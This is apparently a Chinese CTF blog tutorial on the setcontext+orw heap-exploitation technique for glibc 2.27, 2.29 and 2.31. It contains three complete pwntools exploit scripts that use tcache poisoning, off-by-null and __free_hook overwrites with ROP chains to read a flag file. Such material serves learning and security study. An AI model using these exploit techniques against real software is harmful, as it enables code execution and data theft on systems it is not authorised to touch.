setcontext+orw 大致可以把2.27,2.29做为两个分界点。

我们先来讨论 2.27 及以下的 setcontext + orw 的写法。

首先 setcontext 是什么?了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下:

frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx

它实质上就是依靠 setcontext 来实现的,我们从 IDA 里看看它究竟啥样。

我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用,也就是 mov   rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv  byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是,mov     rcx, [rdi+0A8h]  和 push  rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器,因为不仅没给 rax 赋值还在最后有一个 xor  eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中,然后建立或者释放一个堆块,此时的 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。

大体上思路差不多是两种(此处仅讨论 orw),第一种是直接控制程序执行流去执行ROP链,另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。

拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so') def add(size):
s.sendlineafter(b'Your choice: ', b'1')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Size: ', str(size)) def edit(content):
s.sendlineafter(b'Your choice: ', b'2')
s.sendlineafter(b'Index: ', b'0')
s.sendlineafter(b'Content: ', content) def show():
s.sendlineafter(b'Your choice: ', b'3')
s.sendlineafter(b'Index: ', b'0') def delete():
s.sendlineafter(b'Your choice: ', b'4')
s.sendlineafter(b'Index: ',b'0') for i in range(7):
add(0x78)
delete()
edit(b'a'*0x10)
delete() show()
s.recvuntil(b'Content: ')
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base)) add(0x78)
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete() show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base)) pop_rdi_ret = libc_base + 0x00000000000215bf
pop_rsi_r15_ret = libc_base + 0x00000000000215bd
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043ae8
syscall_ret = libc_base + libc.sym['read'] + 0xf
ret = libc_base + 0x00000000000008aa __free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
write_addr = libc_base + libc.sym['write'] flag_addr = heap_base + 0x1000
stack_addr_1 = heap_base + 0x2000
stack_addr_2 = heap_base + 0x20a0
orw_addr_1 = heap_base + 0x3000
orw_addr_2 = heap_base + 0x3060 orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(write_addr) #0xd0 payload = b'\x02'*0x40
payload+= p64(__free_hook) #0x20
payload+= p64(flag_addr) #0x30
payload+= p64(0) #0x40
payload+= p64(stack_addr_1) #0x50
payload+= p64(stack_addr_2) #0x60
payload+= p64(orw_addr_1) #0x70
payload+= p64(orw_addr_2) #0x80 edit(payload) add(0x10)
edit(p64(setcontext_53)) add(0x20)
edit(b'./flag') add(0x50)
edit(p64(orw_addr_1) + p64(ret)) add(0x60)
edit(orw[:0x60]) add(0x70)
edit(orw[0x60:]) add(0x40)
delete() #gdb.attach(s)
s.interactive()

接下来我们来看 2.29 的 setcontext + orw ,2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx,这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以我们要用到一些 gadget 来把 rdi 和 rdx 转换一下。

在2.29里我认为这两个 gadget 比较好用,我先选择了下一个,如果我们把 __free_hook 改成了这个 magic_gadget,再去 free 一个我们布局好的堆块。这个堆块把 rdi+8 地址里的值改为我们布好偏移的堆块的地址,再把 rdi 的值改为 setcontext+53 的值。 free 这个堆块其实就是在把 rdi 设置好的情况下,去执行了 setcontext 来控制寄存器。

拿 2019-BALSN-CTF-plaintext 来加深 2.29 的setcontext + orw

有一个 2.29 的 off by null,在off by null 那一篇文章提到过。且这里为了好调试,我关闭了本地aslr。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./plaintext')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') def add(size,content):
s.sendlineafter(b'Choice: ' , b'1')
s.sendlineafter(b'Size: ' , str(size))
s.sendafter(b'Content: ' , content) def delete(index):
s.sendlineafter(b'Choice: ' , b'2')
s.sendlineafter(b'Idx: ' , str(index)) def show(index):
s.sendlineafter(b'Choice: ' , b'3')
s.sendlineafter(b'Idx: ' , str(index)) def clean():
for i in range(2):
add(0xe0 , b'a') # 0-1
for i in range(5):
add(0xc0 , b'a') # 2-6
for i in range(9):
add(0x70 , b'a') # 7-15
for i in range(16):
add(0x60 , b'a') # 16-31
for i in range(16):
add(0x10 , b'a') # 32-47
for i in range(8):
add(0x1000 , b'a') # 48-55
add(0xb70 ,b'a') # 56 clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00 for i in range(7):
add(0x28 , b't') # 57-63 add(0xb20 ,b'large') # 64
add(0x10 ,b'a') # 65
delete(64)
add(0x1000 ,b'a') # 64 make old chunk_64 to large bin add(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66 # make fake_chunk's fd->bk = fake_chunk add(0x28 ,b'a') # 67
add(0x28 ,b'a') # 68
add(0x28 ,b'a') # 69
add(0x28 ,b'a') # 70 for i in range(7):
delete(i+57) # full tcache delete(69)
delete(67) for i in range(7):
add(0x28 , b't') # 57-63 add(0x400 ,b'a') # 47 touch off malloc_consolidate() add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk # make fake_chunk's bk->fd = fake_chunk add(0x28 ,b'clean') # 71 clean tcache for i in range(7):
delete(i+57) # full tcache delete(68)
delete(66) for i in range(7):
add(0x28 , b't') # 57-63 add(0x28 ,p8(0x20)) # 66 # off by null add(0x28 ,b'clean') # 68 add(0x28 ,b'a') # 72
add(0x5f8 ,b'a') # 73
add(0x100 ,b'a') # 74 delete(72)
add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72
delete(73) # leak libc and heap addr add(0x40 ,b'a') # 73 show(68)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base)) add(0x28 ,b'a') # 75 = 68 delete(57)
delete(68) show(75)
heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10
success('heap_base_addr=>' + hex(heap_base_addr)) __free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
magic_gadget = libc_base + 0x000000000012be97 '''
mov rdx, qword ptr [rdi + 8];
mov rax, qword ptr [rdi];
mov rdi, rdx;
jmp rax;
''' pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
ret_addr = libc_base + 0x000000000002535f
syscall_ret = libc_base + libc.sym['read'] + 0xf # setcontext
add(0x28 ,b'a') # 57 = 75
add(0x28 ,b'a') # 68 delete(70)
add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70
add(0x28 ,b'a') # 76
add(0x28 ,p64(magic_gadget)) # 77 flag_addr = heap_base_addr + 0x60 + 0x10
fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0
orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50
bss_addr = libc_base + libc.bss() add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78 add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79 orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret) add(0x100 ,orw) # 80 #gdb.attach(s)
delete(78) s.interactive()

接下来就是 2.31 的 setcontext+orw

和之前版本的区别是setcontext 的位置变成了 setcontext+61

而且之前 2.29 发现的gadget只剩下一个了

我们把那个 plaintext 重新用2.31编译了一下,且没开沙盒这样就可以省去填充沙盒开辟出来的堆块的步骤了。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./note1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
s.recvuntil(b'Choice: ')
s.sendline(b'1')
s.recvuntil(b'size: ')
s.sendline(str(size))
s.recvuntil(b'content: ')
s.send(content) def delete(index):
s.recvuntil(b'Choice: ')
s.sendline(b'2')
s.recvuntil(b'idx: ')
s.sendline(str(index)) def show(index):
s.recvuntil(b'Choice: ')
s.sendline(b'3')
s.recvuntil(b'idx: ')
s.sendline(str(index)) for i in range(6):
add(0x1000 ,b'a') # 0-5 add(0x1000 - 0x410 ,b'a') # 6 for i in range(7):
add(0x28 ,b't') # 7-13 add(0xb20 ,b'large') # 14 chunk head address is 0x......0040
add(0x10 ,b'a') # 15 delete(14)
add(0x1000 ,b'a') # 14 add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16 # make fake_chunk's fd->bk = fake_chunk add(0x28 ,b'a') # 17
add(0x28 ,b'a') # 18
add(0x28 ,b'a') # 19
add(0x28 ,b'a') # 20 for i in range(7):
delete(i+7) delete(19)
delete(17) for i in range(7):
add(0x28 ,b't') # 7-13 add(0x400 ,b'a') # 17
add(0x28 ,p64(0) + p8(0x50)) # 19 # make fake_chunk's bk->fd = fake_chunk add(0x28 ,b'a') # 21 clean tcache for i in range(7):
delete(i+7) delete(18)
delete(16) for i in range(7):
add(0x28 ,b't') # 7-13 add(0x28 ,p8(0x50)) # 16 # off by null add(0x28 ,b'a') # 18 clean fastbin add(0x28 ,b'a') # 22
add(0x5f8 ,b'a') # 23
add(0x100 ,b'a') # 24 delete(22)
add(0x28 ,b'a'*0x20 + p64(0x520)) # 22
delete(23) # leak libc and heap add(0x18 ,b'a') # 23 show(19) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base)) add(0x28 ,b'a') # 25
add(0x28 ,b'a') # 26=18 delete(20)
delete(18)
show(26) heap = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap)) add(0x28 ,b'a') # 18=26
add(0x28 ,b'a') # 20 __free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x0000000000154930
bss_addr = libc_base + libc.bss() pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c371
syscall_ret = libc_base + libc.sym['read'] + 0x10
ret_addr = libc_base + 0x0000000000025679 stack_addr = heap + 0x40
orw_addr = heap + 0x100 '''
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
''' # attack delete(18)
delete(20)
add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18
add(0x20 ,b'a') # 20
add(0x20 ,p64(magic_gadget)) # 27 add(0x10 , p64(0) + p64(stack_addr)) # 28
success(hex(stack_addr)) stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61)
stack+= b'\x00'*(0xa0-0x28)
stack+= p64(orw_addr) + p64(ret_addr) add(0xb0 ,stack) # 29 orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret) add(0x100 ,orw) # 30
#gdb.attach(s)
delete(28) s.interactive()

附件

提取码:efi9

参考链接

https://blog.csdn.net/yongbaoii/article/details/119544590

https://blog.csdn.net/carol2358/article/details/107115485

https://blog.csdn.net/A951860555/article/details/118268484

https://blog.csdn.net/weixin_43960998/article/details/115838190

setcontext+orw的更多相关文章

  1. 【pwn】DASCTF Sept 九月赛

    [pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...

  2. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  3. 通过set-context 控制namespace 进行隔离

    kubernetes RBAC  需要了解 rules  roles  subjects  rolebindings(role绑定) rules 是一组操作 verbs .资源 . api组. 如果只 ...

  4. getcontext makecontext setcontext swapcontext介绍

    ucontext簇函数学习 https://github.com/zfengzhen/Blog/blob/master/article/ucontext%E7%B0%87%E5%87%BD%E6%95 ...

  5. [k8s]kubectl windows配置(kubernetic) && kubectl config set-context使用Kubernetic

    参考: https://feisky.gitbooks.io/kubernetes/components/kubectl.html https://kubernetes.io/docs/tasks/t ...

  6. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  7. 深入刨析tomcat 之---第9篇 how tomcat works 第9章,Session的实现 关于request.setContext(context)

    writedby 张艳涛,在学第9章session的时候,做了个实验在给的demo代码中添加了 package com.zyt.tomcat.ex09.core; public class Simpl ...

  8. setContext or setCharacterEncoding

    request.setCharacterEncoding()是设置从request中取得的值或从数据库中取出的值response.setContentType("text/html;char ...

  9. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

随机推荐

  1. 【LeetCode】430. Flatten a Multilevel Doubly Linked List 解题报告(Python)

    [LeetCode]430. Flatten a Multilevel Doubly Linked List 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: ...

  2. 51Nod 1264:线段相交(计算几何)

    51Nod 1264:线段相交 Decision 给出平面上两条线段的两个端点,判断这两条线段是否相交(有一个公共点或有部分重合认为相交). 如果相交,输出"Yes",否则输出&q ...

  3. Nginx 简单配置反向代理

    nginx 配置反向代理,转发请求到另一个域名 在server中加入 location /${alias} { proxy_buffer_size 128k; proxy_buffers 32 32k ...

  4. One Pixel Attack for Fooling Deep Neural Networks

    目录 概 主要内容 问题描述 Differential Evolution (DE) 实验 Su J, Vargas D V, Sakurai K, et al. One Pixel Attack f ...

  5. Android程序设计基础 • 【第1章 Android程序入门】

    全部章节   >>>> 本章目录 1.1 Android 平台介绍 1.1.1 Android 简介 1.1.2 Android 平台的发展 1.1.3 Android 平台架 ...

  6. git下载

    git快速下载地址:https://github.com/waylau/git-for-win

  7. Ranger-Sqoop2插件实现详解

    1.组件和插件介绍 1.1.Ranger介绍 Apache Ranger能够监控和管理整个Hadoop平台的综合数据安全, 目前作为Apache Top Level Project(TLP顶级项目), ...

  8. 为EasySharding.EFCore提供Dapper相关查询扩展

    承接上一篇博文中的中间件基本都是写入性的操作,但对于查询操作实际上是比较鸡肋的,如果单纯的查询,没有分表的情况下基本还能适应,这里为了Dapper提供了扩展 Dapper的扩展查询是需要写表名称的,所 ...

  9. Redis真的又小又快又持久吗

    一本正经 面试官:小伙子,谈谈对Redis的看法. 我:啊,看法呀,坐着看还是躺着看.Redis很小?很快?但很持久? 面试官:一本正经的说,我怀疑你在开车,不仅开开车还搞颜色. 我:... 面试官: ...

  10. CentOS 系统 查看 cpu核数

    转载自 :Centos下查看cpu核数 - 韩憨 - 博客园 (cnblogs.com) 1.概念物理CPU:实际Server中插槽上的CPU个数.物理cpu数量:可以数不重复的 physical i ...